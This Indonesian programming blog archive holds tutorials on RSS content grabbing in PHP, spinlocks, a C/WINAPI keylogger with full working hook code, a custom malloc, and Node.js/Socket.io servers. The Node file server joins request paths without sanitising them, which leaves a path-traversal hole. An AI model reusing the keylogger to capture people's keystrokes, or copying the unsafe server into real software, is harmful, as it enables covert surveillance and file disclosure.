Tampilkan postingan dengan label Advanced. Tampilkan semua postingan
Tampilkan postingan dengan label Advanced. Tampilkan semua postingan

Sabtu, 09 September 2017

Cara Mudah Grab Konten Blog Orang Dengan PHP

Komputoo sudah lahir sejak beberapa tahun yang lalu, sampai sekarang masih kurang dari 300 artikel yang berhasil diterbitkan. Ada saja perasaan malas untuk melanjutkan blogging, tapi dengan dedikasi dan percaya bahwa kerja kerasa tidak akan pernah ada ruginya; Komputoo tetap setia berada di internet menyajikan informasi dan tutorial berkualitas. :D

Sebagai gantinya, rasa malas itu mulai dimanfaatkan penulis ke arah lebih positif. Rasa malas tersebut melahirkan ide untuk membuat grabber blog berbasis PHP dan RSS. Tidak sulit membuat grabber, apalagi jika sudah memiliki pengalaman dalam pemrograman OOP. Salah satu objek grabber yang bisa diambil peluangnya adalah RSS(Really Simple Syndication) yang hampir semua situs maupun blog memilikinya.


Untuk melihat RSS tiap blog, kita cukup melihat kode sumber laman dari blog target.


Contoh kode meta RSS adalah sebagai berikut:

<link href='http://www.blogger.com/feeds/5968298389595427058/posts/default' rel='alternate' title='Komputoo Tech - Atom' type='application/atom+xml'/>

Jangan senang dulu, metode grabber melalui RSS kadang butuh keberuntungan. Karena tidak semua blog menyajikan seluruh konten dalam deskriptor RSS. Sering kali hanya ringkasan. Jika target dirasa sudah tepat, buka URL RSS dan kopi semua kodenya di https://codebeautify.org/xmlviewer. Klik Tree View dan pelajari struktur RSS tersebut.


Kode RSS tersaji dalam format XML; dan cara termudah mengolahnya adalah dengan SimpleXML. Berikut referensinya:

http://php.net/manual/en/book.simplexml.php

$rss = simplexml_load_file('URL RSS');
$namespaces = $rss->getNamespaces(true);
$items = $rss->channel->item;
foreach ($items as $item){
 $content->title = $item->title;
 $content->content = $item->children($namespaces['atom'])->summary;
 $content->source = $item->link;
 $content->date = date("Y-m-d", strtotime($item->children($namespaces['atom'])->updated));
 $content->uid = md5($content->source);
 $content->image = $item->children($namespaces['media'])->thumbnail->attributes()->url;
 $content->dump();
 //Tambahkan fungsi untuk memasukkan $content ke database
 echo "<hr/>";
}

Langkah paling awal dalam proses grabber adalah mengunduh kode XML dari RSS dan menjadikannya sebagai objek.

$rss = simplexml_load_file('URL RSS');

Biasanya aanda akan menemukan kode tag XML <dc:creator></dc:creator> dalam RSS. untuk mengakses tag ini, anda harus memproses namespaces terlebih dahulu.

$namespaces = $rss->getNamespaces(true);

Jika sudah, perhatikan baik-baik struktur RSS yang sudah kita lihat di awal. Umumnya, konten posting blogger tersaji dalam bentuk array di bawah $rss->channel->item.

Karena array, kita jadi lebih mudah memilah-milahnya dengan foreach.

foreach ($items as $item){
 //lakukan sesuatu untuk tiap $item
}

Komponen posting tanpa namespavces bisa diakses seperti mengakses objek biasa, contohnya saja $item->title untuk judul. Tapi, kalau sudah berhadapan dengan namespace, mau tak mau gunakan kode yang agak lebih panjang.

<title>Judul</title>
$item->title

<atom:summary>Ringkasan</atom:summary>
$item->children($namespaces['atom'])->summary;

Sesekali kita juga harus mengakses atribut. Kode yang diperlukan ditulis semacam ini:


<thumbnail url="???">...</thumbnail>
$item->thumbnail->attributes()->url;

<atom:thumbnail href="???">...</atom:thumbnail>
$item->children($namespaces['atom'])->thumbnail->attributes()->href;

Yak, mungkin sampai disini saja penjelasan dari saya. Sebenarnya proses grabbing mudah saja kalau targetnya mendukung. Kalau ada kode yang tidak diketahui, ada dokumentasi lengkap dan sebagian besar juga dibahas di stackoverflow.

Ada pula metode grabbing lain, yaitu dengan DOM(Document Object Model). Metode ini bisa dilakukan dengan mengekstrak langsung dari halaman berformat HTML yang biasa kita lihat. Kita tidak akan membahasnya sekali waktu ini, mngkin di kesempatan lain, saya akan tuliskan tutorial untuk itu.

Selamat mencoba, happy coding. ;)
Read more

Kamis, 01 Juni 2017

Pengertian Spinlock dan Implementasinya

Multitasking adalah tantangan baru bagi programmer sistem operasi. Ada banyak macam resource yang harus digunakan oleh semua thread, namun jumlahnya terbatas, dan tidak mungkin diakses bersamaan. Untuk itu, masing-masing thread harus dapat diatur agar dapat mengaksesnya secara bergiliran secara sinkron.

Dalam hal ini, synchronization primitives adalah metode yang perlu diimplementasikan dalam sebuah sistem operasi. Synchronization primitives yaitu sebutan untuk metode yang dapat menjamin seluruh task dalam sistem multitasking agar dapat berjalan secara sinkron dalam pengaksesan sebuah resource.
 
void putchar(int chr){
   ...
}

void print(char * str){
   while (* str){
      putchar(*str);
      str++;
   }
}

Kode di atas adalah contoh sederhana, dimana programmer harus mulai mempertimbangkan untuk mengimplementasikansynchronization primitive. Bayangkan jika dua task mengakses print() secara hampir bersamaan dalam sistem multitasking. Belum sempat salah satu task mencetak satu per satu karakter dari string, tiba-tiba terjadi task switch ke task lain yang juga ingin menggunakan fungsi print().

task 1:
print (“hello”);
task 2:
print (“world”);

Tanpa sinkronisasi, bisa jadi yang akan tampil di layar terlihat kacau. Misalnya saja, apabila setiap baru saja mencetak sebuah karakter, terburu terjadi task switch, mungkin akan tampil seperti ini.


hweolrllod
Spinlock adalah salah satu metode sinkronisasi dengan menerapkan lock. Contohnya pada fungsi print() yang sudah dimodifikasi di bawah ini. Selama fungsi print() diakses oleh salah satu task, print_lock akan tetap bernilai 1. Task lain yang perlu mengakses print() wajib menunggu hingga task sebelumnya menyelesaikan print dan mengembalikan print_lock sehingga bernilai 0.

char print_lock;
void print(char * str){
   acquire_spinlock(&print_lock);
   while (* str){
      putchar(*str);
      str++;
   }
   release_spinlock(&print_lock);
}

Task yang lebih dahulu memanggil print() akan memanggilacquire_spinlock(). Fungsi ini akan meng-set variabel print_lock = 1 apabila print_lock masih bernilai 0, lalu segera melanjutkan eksekusi. Task lain yang berjalan bersamaan namun sedikit tertinggal, akan mengalami peristiwa busy-waiting ketika memanggil acquire_spinlock(), karena print_lock masih di-set bernilai 1 oleh task sebelumnya. Busy-waiting akan terus berlangsung hingga task sebelumnya memanggil release_spinlock(), sehingga meng-set print_lock = 0.

Algoritma
Acquire Spinlock:
1. Tunggu hingga lock bernilai 0.
2. Jika lock sudah 0, set lock = 1.

Release Spinlock:
1. Set lock = 0.

Implementasi
Sederhananya, acquire_spinlock() bisa saja ditulis dengan kode C semacam ini:
void acquire_spinlock(char * lock ){
   while (* lock != 0){
      //do nothing
      //busy-waiting
   }
   * lock = 1;
}

Akan tetapi, dalam dunia nyata, kode di atas jauh kurang efektif. Apalagi dalam keadaan thread yang cukup padat. Ini karena jika diuraikan, kode while() akan diterjemahkan compiler menjadi serangkaian instruksi assembly yang rumit.

tes:
cmp BYTE PTR [print_lock], 0
jne tes
mov BYTE PTR [print_lock], 1

Misalnya, katakanlah terdapat 3 task yang sama-sama melakukan acquire. Task 1 baru saja melepas print_lock. Sayangnya, setelah itu task 2 dan task 3 secara bersamaan baru saja selesai melakukan instruksi CMP yang memberikan sinyal bahwa print_lock sudah terlepas, namun sama-sama pula terjadi task switch sebelum menjalankan instruksi JNE. Akhirnya, task 2 dan task 3 lolos dari lock lalu mengakses fungsi print() secara bersamaan.
Kondisi seperti itu dapat dihindari dengan memanfaatkan atomic operation, yaitu dengan memanfaatkan instruksi assembly yang dapat melakukan acquire tanpa harus melakukan instruksi pembandingan (CMP) ataupun testing terlebih dahulu. Dalam arsitektur intel, ini bisa dilakukan dengan instruksi XCHG yang diinputkan melalui inline assembly.

tes:
mov al, 1
xchg BYTE PTR [print_lock], al
cmp al,1
je tes

Selama XCHG menghasilkan nilai 1, sudah diketahui bahwa print_lock masih dikuasai task lain, namun jika 0, artinya task sudah berhasil mengambil alih lock. Meskipun terjadi task switch antar banyak task, semuanya tidak akan dapat melewati taktik XCHG.

inline unsigned char _atomic_xchg8(unsigned char* lock, unsigned char x ){
   asm volatile("xchg %1, %0":"=r" (x):"m"(*(volatile unsigned char *)lock),"0" (x):"memory");
   return x;
}

inline void acquire_spinlock(unsigned char *lock){
   while ( 1){
      if ( _atomic_xchg8(lock, 1)== 0) return ;
      while (* lock != 0){
         asm("pause");
      }
   }
}

inline void release_spinlock(unsigned char *lock){
   * lock = 0;
}
Read more

Sabtu, 18 Februari 2017

Membuat Keylogger Dengan Bahasa C Dan WINAPI (Simple, 30 Baris Kode)


Keylogger adalah program yang dirancang khusus untuk melakukan monitor aktivitas keyboard dan terkadang juga disertai modifikasi data input untuk tujuan tertentu. Selama ini banyak orang cenderung menginterpretasikan keylogger sebagai program negatif yang merugikan. Padahal ada banyak sekali manfaat yang bisa diperoleh dari implementasi fitur keylogger semacam ini. Misalnya, jika bisa kreatif, coba untuk membuat progra untuk mencegah penulisan kata kotor, atau mencegah anak mengetik alamat web yang tidak pantas diakses. Keren bukan?

Membuat keylogger adalah mudah jika kita tahu dasar-dasar Windows API. Walaupun tidak, MSDN memiliki dokumen lengkap yang bisa diakses setiap waktu untuk mempelajari setiap elemen dasar fungsi API Windows. Begitu juga dengan tulisan ini, sebagian besar penjelasannya mengutip dokumentasi MSDN. Nanti, saya juga akan sertakan link sumbernya, agar kalian juga dapat mempelajari sumber aslinya lebih detail. Harapan saya, tutorial ini bisa menjadi rujukan, sekaligus inspirasi untuk project kalian selanjutnya.

Berikut ini adalah 30 baris kode yang hasilnya sudah dapat berjalan sebagai keylogger sederhana.

#include <stdio.h>
#include <windows.h>

LRESULT CALLBACK LowLevelKeyboardProc(int nCode,WPARAM wParam,LPARAM lParam){
 DWORD type;
 KBDLLHOOKSTRUCT *hooks;
 if(nCode == HC_ACTION){
  type = (DWORD) wParam;
  hooks = (KBDLLHOOKSTRUCT *) lParam;
  if (type == WM_KEYDOWN) printf("%c",hooks->vkCode);
  if (hooks->vkCode == 0x51) PostQuitMessage(0);
 }
 return CallNextHookEx(NULL, nCode, wParam, lParam);
}

HHOOK hooker;
int main(){
 hooker = SetWindowsHookEx(WH_KEYBOARD_LL,
  &LowLevelKeyboardProc,
  NULL,
  0
 );
 if(!hooker) printf("Error register hook\n");
 MSG msg;
 while (GetMessage(&msg, NULL, 0, 0)) {
  TranslateMessage(&msg);
  DispatchMessage(&msg);
 }
 UnhookWindowsHookEx(hooker);
}

Sebuah keylogger memanfaatkan salah satu fitur internal Windows, yaitu hook. Mekanisme hook bekerja layaknya filter yang dipasang untuk menyaring data yang dikehendaki. Sebuah hook juga dapat berperan layaknya pipa, ia hanya perlu memonitor setiap data yang terlintas, seperti inilah cara keylogger bekerja.


Install Hook
Di Windows, hook dibuat dengan SetWindowsHookEx() dan dihentikan dengan UnhookWindowsHookEx().

HHOOK WINAPI SetWindowsHookEx(
 int       idHook,
 HOOKPROC  lpfn,
 HINSTANCE hMod,
 DWORD     dwThreadId
);

Parameter idHook adalah jenis hook yang ingin kamu pasang. Di sini ada beberapa varian hook yang bisa digunakan, misal WH_CALLWNDPROC untuk memfilter Window event, dan WH_MOUSE untuk memfilter aktivitas mouse. Sedangkan untuk keylogger, WH_KEYBOARD_LL adalah pilihan yang tepat.

Kemudian parmeter lpfn harus merujuk sebagai pointer kepada fungsi callback yang kita sediakan untuk melakukan filter/monitoring. Setiap jenis id hook akan memiliki bentuk fungsi yang berbeda. Untuk melihat referensi lengkap tentang bentuk fungsi callback tiap id hook, lihat MSDN. Di bawah nanti anda juga bisa melihat bagaimana bentuk callback untuk WH_KEYBOARD_LL.

Terakhir ada 2 parameter yang tidak terlalu penting untuk dibahas detail sekarang. Singkatnya hMod adalah nilai handle DLL, apabila hook dibuat dari shared library; dwThreadId adalah id thread pembuat hook. Kedua nilai ini bisa dikosongi jika program kita tidak berhubungan dengan shared library dan thread.

Jika fungsi berhasil membuat hook, nilai yang dikembalikan berupa handle hook yang nilainya dapat dipastikan bukan 0.
Ref: https://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx


Uninstall Hook
Setelah selesai, gunakan fungsi unhook seperti berikut ini, dengan argumen hhk berupa handle ke hook yang dibuat sebelumnya. Meski saat program keluar, hook akan otomatis terhapus, melepas hook secara manual sebelum program keluar sangatlah dianjurkan.

BOOL WINAPI UnhookWindowsHookEx(
 HHOOK hhk
);


Hook Run-time
Contoh program dalam tulisan ini bekerja sebagai program konsol. Meski begitu, sebenarnya hook hanya dianjurkan untuk program desktop dengan tampilan GUI saja. Agar hook dapat bekerja, beberapa baris kode berikut harus ditambahkan.

MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
 TranslateMessage(&msg);
 DispatchMessage(&msg);
}

Tanpa kode di atas, hook tidak akan bekerja pada program konsol. Pada kode di atas fungsi GetMessage() akan terus memproses window event dari sistem secara loop. Event ini terjadi ketika sebuah window menerima input dari user ataupun sistem, misalnya saja ketika kita mengetik dan mengklik di area window tersebut.

Sebuah pesan umumnya berasal dari keyboard. Fungsi TranslateMessage() bertugas memproses data mentah keyboard ini ke bentuk yang siap diproses oleh program. Sedangkan DispatchMessage() bertugas untuk mengirimkan pesan data ini kepada yang membutuhkan. Nah, dari sini jugalah data keylogger dikirim, sehingga WAJIB hukumnya untum mengeksekusi fungsi ini.

Ketika program mendapat instruksi untuk berhenti, GetMessage() akan mengembalikan nilai 0 (FALSE). Saat iniah kita harus menghentikan hook dan mengeluarkan program.
Ref : https://msdn.microsoft.com/en-us/library/windows/desktop/ms644936(v=vs.85).aspx


Hook Callback
Dibawah ini adalah bentuk fungsi callback untuk WH_KEYBOARD_LL, berikut penjelasan setiap parameternya.

LRESULT CALLBACK LowLevelKeyboardProc(
 int    nCode,
 WPARAM wParam,
 LPARAM lParam
);

Pertama, nCode adalah kode yang menentukan bagaimana callback harus memproses parameter wParam dan lParam. Menurut MSDN, apabila nCode < 0, callback harus memanggil CallNextHook() TANPA memproses wParam dan lParam. Kemudian segera mengembalikan nilai yang dihasilkan oleh CallNextHook() sebagai return value.

Kedua, wParam menunjukkan jenis pesan yang harus diproses. Nilainya dapat berupa salah satu dari nilai berikut : WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, atau WM_SYSKEYUP.

Ketiga, lParam menunjuk ke struktur KBDLLHOOKSTRUCT. Dari struktur data ini, kita bisa mngetahui tombol mana yang sedang ditekan atau dilepas.

typedef struct tagKBDLLHOOKSTRUCT {
  DWORD     vkCode;
  DWORD     scanCode;
  DWORD     flags;
  DWORD     time;
  ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT;


Misalnya, jika wParam = WM_KEYDOWN dan wParam->vkCode = 0x41 (tombol A), artinya A sedang ditekan. Namun, jik wParam = WM_KEYUP, artinya tombol tersebut sedang dilepaskan.
Kode berikut akan mencetak karakter hanya apabila tombol ditekan. Apabila tombol Q ditekan, fungsi PostQuitMessage() dipanggil untuk memberikan instruksi pmberhentian program. Fungsi inilah yang akan memicu GetMessage() mengembalikan 0 dan segera bergenti dari loop.
Ref. Hook struct : https://msdn.microsoft.com/en-us/library/windows/desktop/ ms644967(v=vs.85) .aspx
Ref. vkCode : https://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx
Ref. Msg : https://msdn.microsoft.com/en-us/library/windows/desktop/ff468870(v=vs.85).aspx

if(nCode == HC_ACTION){
 type = (DWORD) wParam;
 hooks = (KBDLLHOOKSTRUCT *) lParam;
 if (type == WM_KEYDOWN) printf("%c",hooks->vkCode);
 if (hooks->vkCode == 'Q') PostQuitMessage(0);
}

Ada satu fungsi yang belum kita bahas, CallNextHookEx(). Pada dasarnya, setiap program memiliki hook default yang terpasang untuk memperoleh pesan dari sistem. Jadi pendaftaran hook akan bekerja dengan menambahkan hook tambahan baru yang diproses secara manual oleh program. Dengan memanggil CallNextHook(), artinya kita akan memanggil hook default yang memerlukan. Sebagai contoh, jika fungsi ini tidak dipanggil dengan benar, program lain tidak akan dapat menerima input keyboard sampai program pemilik hook ini berhenti.

LRESULT WINAPI CallNextHookEx(
 HHOOK  hhk,
 int    nCode,
 WPARAM wParam,
 LPARAM lParam
);

Ref : https://msdn.microsoft.com/en-us/library/windows/desktop/ms644974(v=vs.85).aspx
Namakan kode sebagai keylog.c, lalu build sebagai exe dengan perintah:
gcc keylog.c -o keylog.exe

Hasinya...


Read more

Kamis, 02 Februari 2017

Contoh Dynamic Memory Allocation Dengan Doubly-linked List, First-fit & Auto Left-Right Join [Part 3]


Bagian ini akan khusus membahas tentan proses alokasi ( Malloc() ). Sistematika kerja alokator dalam mengalokasikan memori sudah diketahui dari gambar ilustrasi yang kita lihat sebelumnya. Pada prakteknya, ada sedikit penjabaran yang harus diperhatikan. Alokator melakukan alokasi dari fungsi Malloc() yang kita buat. Pencarian mulai dilakukan dari melihat HCHUNK pertama yang ditunjukkan oleh field first pada HMALLOC dan mengikuti pointer next pada HCHUNK hingga ditemukan hasil. Apabila tidak ada chunk bebas yang memiliki ukuran cukup, fungsi harus mengembalikan 0.

for(HCHUNK *c = m­->first; c != 0; c = c-­>next){
//Check chunk (*c)
}
return 0;

Setiap chunk yang diperiksa melewati beberapa urutan tahap uji sebagai berikut.
1. Jika chunk→magic salah, gagalkan fungsi
2. Jika chunk→state = 1 (allocated), lewati dan lanjutkan memeriksa chunk berikutnya(chunk→next).
3. Jika chunk→size < size yang diminta (not enough), lanjutkan memeriksa chunk berikutnya(chunk→next).
4. Jika chunk→size == size dan chunk→size <= size + sizeof(HCHUNK) (size was fit), langsung alokasikan chunk ini sebagai hasil. Kondisi “chunk→size <= size + ukuran HCHUNK” harus diperiksa, karena jika chunk bebas melebihi yang diminta, kita hanya boleh mengambil sebagian chunk yang cukup, sisanya harus dibuat chunk yang baru (dibuat pada kondisi 5). Sebelum memutuskan buat yang baru, kondisi ini diperiksa untuk memastikan apakah sisa chunk cukup untuk menyimpan header HCHUNK dan minimum chunk sebesar 1 byte. Jika tidak, sebaiknya kita ikutkan saja sisanya sebagai hasil.
5. Apabila tidak masuk kondisi 3 auatupun 4, artinya chunk terlalu besar (size bigger), alokator harus melakukan pemecahan chunk menjadi 2 bagian. Satu bagian sebagai hasil alokasi dan sisanya dibuat untuk dibiarkan dalam kondisi bebas.

void *Malloc(HMALLOC *m,uint size){
for(HCHUNK *c = m-­>first; c != 0; c = c-­>next){
if(c­->magic != CMAGIC){
printf("FATAL:Broken malloc!\n");
return 0;
}
if(c-­>state == 1) continue;
else if(c-­>size < size) continue;
else if((c-­>size >= size) &&
  (c­->size <= size + sizeof(HCHUNK))) {
c-­>state = 1;
return (void*)((ulong)c + sizeof(HCHUNK));
}
else {
HCHUNK *newc;
newc = (HCHUNK*)((ulong)c + sizeof(HCHUNK) + size);
newc­->magic = CMAGIC;
newc­->state = 0;
newc­->size = c­->size - size - sizeof(HCHUNK);
newc­->prev = c;
newc­->next = c-­>next;
c­->next = newc;
c­->size = size;
c­->state = 1;
return (void*)((ulong)c + sizeof(HCHUNK));
}
}
return 0;
}

Periksa kondisi 1
if(c­->magic != CMAGIC){
printf("FATAL:Broken malloc!\n");
return 0;
}

Periksa kondisi 2
if(c-­>state == 1) continue;

Periksa kondisi 3
else if(c­->size < size) continue;

Periksa kondisi 4
else if((c->size >= size) && (c->size <= size + sizeof(HCHUNK))) {
c->state = 1;
return (void*)((ulong)c + sizeof(HCHUNK));
}

Kondisi 5
else {
HCHUNK *newc;
newc = (HCHUNK*)((ulong)c + sizeof(HCHUNK) + size);
newc-­>magic = CMAGIC;
newc­->state = 0;
newc­->size = c->size - size - sizeof(HCHUNK);
newc­->prev = c;
newc­->next = c->next;
c­->next = newc;
c­->size = size;
c-­>state = 1;
return (void*)((ulong)c + sizeof(HCHUNK));
}

Kondisi 5 adalah kondisi yang sedikit membutuhkan logika. Sederhananya, proses untuk menangi kondisi 5 sesuai dengan ilustrasi di bawah ini. Sederhana memang, namun yang sedikit membingungkan adalah mengatur prev dan next agar tetap terhubung satu sama lain.

Sebelum terpecah

Sesudah terpecah

Read more

Contoh Dynamic Memory Allocation Dengan Doubly-linked List, First-fit & Auto Left-Right Join [Part 1]


Virtual memory dapat dialokasikan untuk menyediakan wilayah memori dalam bentuk blok berukuran tetap, membuat kemungkinan fragmentasi semakin kecil. Sayangnya, banyak program cenderung mengalokasikan kebutuhan memori untuk program mereka dalam jumlah banyak, namun dengan ukuran yang relatif jauh lebih kecil dari ukuran blok page virtual memori. Oleh karena itu, diperlukan mekanisme alokasi yang dapat memenuhi kebutuhan tersebut, agar sistem dapat menjaga efisiensi penggunaan memori.

Jika masih bingung dengan latar beakang tulisan ini, coba sedikit mengingat kapan terakhir kali anda membuat program mengalokasikan memori, Biasanya, kita menggunakan malloc() dan free() di lingkungan pemrograman C. Selain itu, di sistem operasi Windows juga tersedia fungsi API yang serupa dengan kedua API library C tersebut, yaitu HeapAlloc() dan HeapFree(). Fungsi semacam itulah yang akan kita coba implementasikan di sini.

Memori perlu memiliki sistematika alokasi, sehingga apabila suatu program sedang menggunakan wilayah memori untuk menangani tugas tertentu, wilayah tersebut akan lebih aman dari campur tangan pekerjaan dari task lain. Meski demikian, masih ada kemungkinan thread lain dapat menggunakan memori yang sudah diklaim sebelumnya, baik itu sengaja atau tidak sengaja. Oleh karena itu perlu juga adanya mekanisme untuk selalu memeriksa kemungkinan buruk tersebut. Tanpa alokasi memori, masing-masing thread dapat menggunakan memori dengan bebas. Masalahnya mulai timbul ketika sudah mulai banyak memori yang digunakan. Celah fragmentasi akan sulit dilacak.


Mekanisme alokasi memori biasanya dilakukan dengan implementasi linked list. Cara sederhana bisa dilakukan dengan membuat linked-list yang menghubungkan setiap potongan (chunk) daerah memory, mulai awal hingga akhir. Sistem yang lebih profesional bahkan membuat 2 macam linked-list untuk memisahkan daerah memori yang sudah dialokasi dan daerah yang bebas. Hal ini membuat proses alokasi semakin cepat.

Sebuah header berada di bagian awal dari setiap chunk, menyediakan informasi instan mengenai kondisi dan properti chunk, seperti ukuran, status chunk dan beberapa hal spesifik lain terkait alokasi memori. Di dalamnyalah linked list akan disematkan. 


Meski keberadaan linked list membantu, ada sedikit masalah yang perlu diatasi saat proses pembebasan memori. Meski pembebasan memori bisa dilakukan dengan cukup mengubah variabel state pada header, linked list masih masih terpasang untuk menghubungkan blok bebas(free blocks) yang harusnya tiada lagi. Lihat ilustrasinya seperti berikut.

1. Kita bayangkan awal layout chunk memori seperti berikut, dimana blok merah
adalah area teralokasi.

2. Program membebaskan beberapa blok memori, sehingga bisa dialokasikan kembali.

3. Program meminta alokasi memori ke sistem; Alokator mencari daerah bebas yang pas dengan ukuran permintaan. Ternyata pencarian gagal, karena tiap header menunjukkan blok dalam ukuran kecil. Padahal, seharusnya beberapa wilayah yang baru saja dibebaskan cukup untuk menampung request yang sedang diminta.

Oleh karena itu, saat proses pembebasan memori, alokator juga bertanggung jawab mengatasi fragmentasi internal semacam ini dengan mengusahakan penggabungan blok (joining). Jika alokator mampu menangani pembebasan memori dengan baik, maka kenampakannya akan seperti berikut.

***
Masalah belum sampai disitu. Jika hanya dengan singly-linked list, alokator hanya dapat melihat dan memeriksa posisi blok di sebelah arah kanan saja. Ini menyebabkan penggabngan blok kurang maksimal. Contoh kasusnya adalah seperti ilustrasi berikut.

1. Layout awal.

2. Program meminta pembebasan sebuah blok memori. Untungnya saat ini, alokator belum memerlukan penggabungan chunk memori.

3. Program meminta pembebasan memori kembali. Sepertinya alokator harus melakukan penggabungan sekarang. Dia menemukan sebah blok bebas disebelahnya.

Ups, alokator tidak dapat membebaskan memori dengan sempurna. Ini karena
singly linked list tidak mempunyai link pointer ke arah kiri (left/previous). Untuk
sekian kalinya, request memori gagal, alokator tidak mengetahui area kosong yang
sebenarnya masih cukup.

Dari adanya permasalahan tersebut, maka tulisan ini akan lebih banyak membahas mekanisme alokasi memori dengan basis sebuah doubly-linked list.
Read more

Rabu, 01 Februari 2017

Belajar Node.js Dan Socket.io Part 3 : Komunikasi Client Dan Server Sederhana Dengan Socket.io

Socket.io adalah javascript library yang membantu pembuatan aplikasi web realtime lebih mudah. Dengan Socket.io, jembatan komunikasi antara client dan server dapat terjadi secara bidirectional (dua arah). Artinya, baik client ataupun server dapat berperan sebagai pengirim sekaligus penerima data. Komponen socket.io terdiri atas 2 bagian, yaitu client-side yang berjalan pada browser, dan server-side yang dapat digunakan sebagai modul untuk node.js.
API yang disediakan socket.io tidaklah begitu banyak, mempelajarinya pun bukan lagi perkara yang sulit. Untuk melakukan transaksi data, paling tidak kita cukup mengetahui 2 metode saja; emit() dan on(). Berikut cuplikan lengkap beserta penjelasannya.

Server
var http = require('http');
var app = http.createServer(function(request, response) {
.....
});

var io = require('socket.io').listen(app);
io.on('connection', function(socket) {
    socket.on('pesan', function(data){
console.log("Client mengirim pesan: " + data);
});
socket.on('jumlah', function(data){
var hasil = data.a + data.b;
socket.emit("hasil", hasil);
});
socket.on('disconnect', function(){
console.log("Client disconnected");
});
});

app.listen(3000);


Method emit digunakan untuk mengirim pesan ke dari server ke client ataupun sebaliknya.
Prototype:
.emit(name [, …]);

Paling tidak ada 1 argumen yang digunakan sebagai parameter untuk metod ini, yaitu argumen event name. Argumen ini berperan sebagai indentifier ketika data telah sampai ditujuan. Kita juga dapat menambahkan argumen lain jika diperlukan. Tipenya bebas, dapat berupa nilai integer, pecahan, string ataupun objek.

Ketika data telah sampai ditujuan, client/server dapat menerimanya dengan method on(). Saat argumennya sesuai, maka data yang telah diterima akan segera diproses oleh fungsi handler yang sudah dibuat.
Prototype:
.on (name, handler);

function handler(data){
    ....
}

Agar lebih jelas, coba lihat cuplikan kode client-side nya sebagai berikut.

Client
<script src="https://cdn.socket.io/socket.io-1.4.5.js"></script>
<script type='text/javascript'>
socket = io();
socket.emit("pesan","Hello world");
socket.emit("jumlah",{a:5,b:7});

socket.on('hasil', function(data) {
alert("Server mengirim 'hasil' = " + data);
});
</script>


Untuk melakukan komunikasi dengan server, pertama tama kita harus membuat objek socket.io.
socket = io();

Objek inilah yang akan digunakan sebagai handle dalam mengirim dan menerima data dari/ke server. Metodenya masih sama dengan yang digunakan pada kode server-side, yaitu memakai .emit() untuk mengirim dan .on() untuk menerima.



Full Source Code
index.js (Server)
var url = require('url');
var http = require('http');
var fs = require('fs');
var path = require("path");

var app = http.createServer(function(request, response) {
var uri;

uri = url.parse(request.url).pathname;
if (uri == '/') uri += 'index.html';
uri = path.join(__dirname,uri);

data = fs.readFile(uri, function(err,data){
if(err){
response.writeHead(404, {"Content-Type": "text/plain"});
response.write("404 Not Found\n");
response.end();
return;
} else {
response.writeHead(200, {"Content-Type": 'text/html'});
response.write(data);
response.end()
console.log("Request OK");
}
});
});

var io = require('socket.io').listen(app);
io.on('connection', function(socket) {
    socket.on('pesan', function(data){
console.log("Client mengirim pesan: " + data);
});
socket.on('jumlah', function(data){
var hasil = data.a + data.b;
socket.emit("hasil", hasil);
});
socket.on('disconnect', function(){
console.log("Client disconnected");
});
});

app.listen(3000);

index.html (Client)
<!doctype html>
<html>
<head>
<title>Test</title>
<script src="https://cdn.socket.io/socket.io-1.4.5.js"></script>
<script type='text/javascript'>
socket = io();
socket.emit("pesan","Hello world");
socket.emit("jumlah",{a:5,b:7});

socket.on('hasil', function(data) {
alert("Server mengirim 'hasil' = " + data);
});
</script>
</head>
<body>
.....
</body>
</html>

Sip, sudah. Kodenya cukup singkat, bukan? Kodenya sengaja saya buat bervariasi dengan baris kode seminimal mungkin, agar lebih mudah dipahami. Untuk contoh lainnya, silahkan kunjungi link berikut:
http://socket.io/docs/

Jika masih ada yang bingung, atau ada pertanyaan yang mengganjal, jangan sungkan untuk bertanya, ya.
Read more

Jumat, 27 Januari 2017

Belajar Node.js Dan Socket.io Part 2 : Mengirim Data Dari File

Di tutorial sebelumnya, kita sudah berhasil mengirimkan Hello world ke client. Namun, kerja server tidak akan pernah semudah itu. Jadi, untuk tutorial yang kedua ini, kita akan mencoba mengirim data dari file yang berada pada server.

Untuk menangani permintaan file, node.js menyediakan modul filesystem (fs). Ada banyak fungsi yang mudah digunakan untuk menangani file, terutama jika terbiasa berkutat dengan pemrograman C. Memahaminya tidak akan sulit, karena basis manajemen file yang diterapkan hampir sama dengan yang diterapkan libc. Jika belum terbiasa, jangan kawatir, ada pula varian fungsi yang lebih mudah untuk digunakan dari modul tersebut.

https://nodejs.org/api/fs.html

Beberapa fungsi yang ada bekerja secara synchronous, dan beberapa lainnya bekerja secara asynchronous. Fungsi synchronous akan bekerja hingga proses selesai. Jika terjadi error, node.js akan menghasilkan exception dan proses server segera terhenti. Sedangkan fungsi asynchronous akan bekerja dalam background. Semua varian fungsi ini umumnya harus dipanggil dengan menyertakan fungsi callback. Ketika proses yang dikerjakan dalam background selesai, callback akan dipanggil dengan memberikan hasil dan statusnya. Ketika terjadi error, node.js tidak akan menghasilkan exception. Adalah tugas programmer untuk memilih tindakan, tepat setelah error terjadi.

Fungsi asynchronous akan berguna ketika mengimplementasikan server yang sudah benar-benar siap pakai. Ini untuk menghindari proses server terhenti ketika error. Meski demikian, fungsi asynchronous lebih mudah untuk dipelajari, cocok untuk yang masih tahap belajar. Jadi, untuk tutorial kali ini, kita lebih banyak menggunakan varian fungsi synchronous.



Apa sih yang sebenarnya akan dibahas disini? Sebenarnya eksperimen yang akan kita lakukan kali ini cukup simpel, yaitu mengirimkan data dari file, bukan lagi hello world.

test.js
var http = require('http');
var fs = require('fs');

var app = http.createServer(function(request, response) {
var data;

data = fs.readFileSync("test.html");
response.writeHead(200, {"Content-Type": 'text/html'});
response.write(data);
response.end()
console.log("Request OK");
});

app.listen(3000);

Method readFileSync() memerlukan sebuah parameter wajib berupa nama file. Hasil return value yang diperoleh berupa data file hasil pembacaan. Jika error, misalnya karena file tidak ada, node.js akan menghasilkan exception.

test.html
<!doctype html>
<html>
<head>
<title>Test</title>
</head>
<body>
<h1>Lorep Ipsum</h1>
